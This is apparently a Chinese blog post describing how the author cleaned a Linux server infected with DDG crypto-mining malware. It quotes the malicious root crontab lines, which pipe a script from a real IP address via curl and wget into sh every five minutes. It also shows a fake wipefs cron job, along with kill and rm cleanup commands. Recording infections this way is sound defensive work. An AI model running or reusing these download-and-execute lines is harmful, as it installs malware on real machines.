这篇博客揭示了Linux系统中定时任务可能存在的安全问题。内容涉及到两个定时任务，它们每五分钟从指定IP地址下载并执行脚本，这可能是病毒程序的下载途径。此外，还提到了高CPU占用的`wipefs`命令可能是被伪装的安全威胁。博主提供了检查和删除这些可疑任务的命令，强调了定期检查系统安全和及时清理恶意进程的重要性。
Linux 命令
估计这两个是定时下载病毒程序的任务
# cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
# rm -fr /var/spool/cron/
# ps -aux|grep ddg
root 1565 0.0 0.3 198580 5832 ? Sl Mar27 0:48 /tmp/ddg.3001
root 31956 0.0 0.0 112660 976 pts/2 S+ 09:40 0:00 grep --color=auto ddg
# kill -9 1565
ps -aux|grep imWBR1
root 31697 0.4 1.3 319948 25936 ? Ssl 09:15 0:07 /tmp/imWBR1
root 31970 0.0 0.0 112660 976 pts/2 S+ 09:41 0:00 grep --color=auto imWBR1
# kill -9 31697
# rm -f /tmp/ddg.*
# rm -rf /tmp/imWBR1
# cat /etc/crontab
看到这个wipefs的定时任务,wipefs本来是正常的，但是top看wipefs占cpu很大，所以是挖坑伪装的
0 */6 * * * root /bin/wipefs
# echo "" > /etc/crontab
扫一扫
480
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
